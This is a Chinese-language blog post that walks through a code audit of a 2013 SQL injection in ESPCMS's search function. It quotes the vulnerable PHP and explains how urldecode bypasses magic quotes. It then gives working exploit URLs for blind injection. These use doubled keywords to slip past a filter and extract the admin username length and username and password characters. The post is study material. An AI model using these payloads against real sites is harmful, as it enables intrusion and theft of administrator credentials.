热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

审计espcms注入漏洞

正在学习代码审计,动手审计了一下seay在2013年发现的espcms注入漏洞,记录下来:主要问题函数为interfacesearch.p

    正在学习代码审计,动手审计了一下seay在2013年发现的espcms注入漏洞,记录下来:

    主要问题函数为interface/search.php中的in_taglist()函数:

function in_taglist() {parent::start_pagetemplate();include_once admin_ROOT . 'public/class_pagebotton.php';$page = $this->fun->accept('page', 'G');$page = isset($page) ? intval($page) : 1;$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;$tagkey = urldecode($this->fun->accept('tagkey', 'R'));$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';if (empty($tagkey)) {$linkURL = $_SERVER['HTTP_REFERER'];$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);}if (!empty($tagkey)) {$db_where.=" AND FIND_IN_SET('$tagkey',tags)";}$pagemax = 20;$pagesylte = 1;$templatesDIR = $this->get_templatesdir('article');$templatefilename = $lng . '/' . $templatesDIR . '/search';$db_table = db_prefix . 'document';$countnum = $this->db_numrows($db_table, $db_where);if ($countnum > 0) {$numpage = ceil($countnum / $pagemax);} else {$numpage = 1;}$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);$sql = $this->htmlpage->PageSQL('pid,did', 'down');$rs = $this->db->query($sql);while ($rsList = $this->db->fetch_assoc($rs)) {$rsList['typename'] = $this->get_type($rsList['tid'], 'typename');$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "" . $rsList['title'] . "";$rsList[$keyname] = str_ireplace($keyword, '' . $keyword . '', $rsList[$keyname]);$array[] = $rsList;}$this->pagetemplate->assign('pagetext', $this->htmlpage->PageStat($this->lng['pagetext']));$this->pagetemplate->assign('pagebotton', $this->htmlpage->PageList());$this->pagetemplate->assign('pagenu', $this->htmlpage->Bottonstyle(false));$this->pagetemplate->assign('pagese', $this->htmlpage->pageSelect());$this->pagetemplate->assign('pagevt', $this->htmlpage->Prevbotton());$this->pagetemplate->assign('array', $array);$this->pagetemplate->assign('path', 'search');unset($array, $typeread, $modelview, $LANPACK, $this->lng);$this->pagetemplate->display($templatefilename, 'search', false, $filename, admin_LNG);}

   

主要代码:

$tagkey = urldecode($this->fun->accept('tagkey', 'R'));

$db_where.=" AND FIND_IN_SET('$tagkey',tags)";

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";


$tagkey变量使用了urldecode,可以绕过GPC,最终$tagkey被带入SQL语句。

漏洞测试EXP:http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=a%2527

猜解用户名长度:

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay

爆破用户名和密码:

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay

   


    最近才接触代码审计,看的眼疼。奋斗


推荐阅读
  • http://segmentfault.com/a/1190000000440293?page=1#c-1190000000440293-1050000000449039这是博主原帖 ... [详细]
  • 一、域名解析记录说明记录类型A:用来指定域名的IPv4地址(如:8.8.8.8),如果需要将域名指向一个IP ... [详细]
  • 随笔142  文章0  评论2294 一步一步教你使用AgileEAS.NET基础类库进行应用开发WinForm应用篇演示使用报表构建UI入库业务查询模块...
    回顾与说明前面我们把“商品字典”、“商品入库”、“商品库存查询”三个模块已经概括或者详细的演示完了,这些模块涉及到简单数据的增、删、修,也涉及到复杂业务 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 利用ipv6技术,废旧笔记本变成server
    如果你家的路由器已经get到了ipv6地址,并且你家的电脑也获取了有效的ipv6地址,在广域网的设备可以访问到。那恭喜你,再配合我这个dd ... [详细]
  • windows安装phpstorm百度phpstorm,进入官网:https:www.jetbrains.comphpstorm下载phpstormwindows。如 ... [详细]
  • Lodash中文文档(v3.10.1)–“Collection”要领TranslatedbyPeckZegOriginalDocs:Lodashv3.10.1Docs乞助翻译文档的 ... [详细]
  • PNG在IE6下透明问题的解决办法
    2019独角兽企业重金招聘Python工程师标准做Web开发的朋友一定都知道PNG是一个相当不错的图片格式,但是这个好的格式却在IE6时代造成了麻烦࿰ ... [详细]
  • 一个不错的JDBC连接池教程(带具体例子)
    1.前言数据库应用,在许多软件系统中经常用到,是开发中大型系统不可缺少的辅助。但如果对数据库资源没有很好地管理(如:没有及时回收数据库的游 ... [详细]
  • 缓冲区溢出实例(一)–Windows
    一、基本概念缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获 ... [详细]
  • python爬取网页内容_python爬虫之获取页面script里面的内容
    这是网页上的script我要获取的是00914这个数字直接使用正则表达式即可运行结果:源码:importrefrombs4importBeautif ... [详细]
  • 本文介绍了作者在开发过程中遇到的问题,即播放框架内容安全策略设置不起作用的错误。作者通过使用编译时依赖注入的方式解决了这个问题,并分享了解决方案。文章详细描述了问题的出现情况、错误输出内容以及解决方案的具体步骤。如果你也遇到了类似的问题,本文可能对你有一定的参考价值。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
author-avatar
Susan林小夕
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有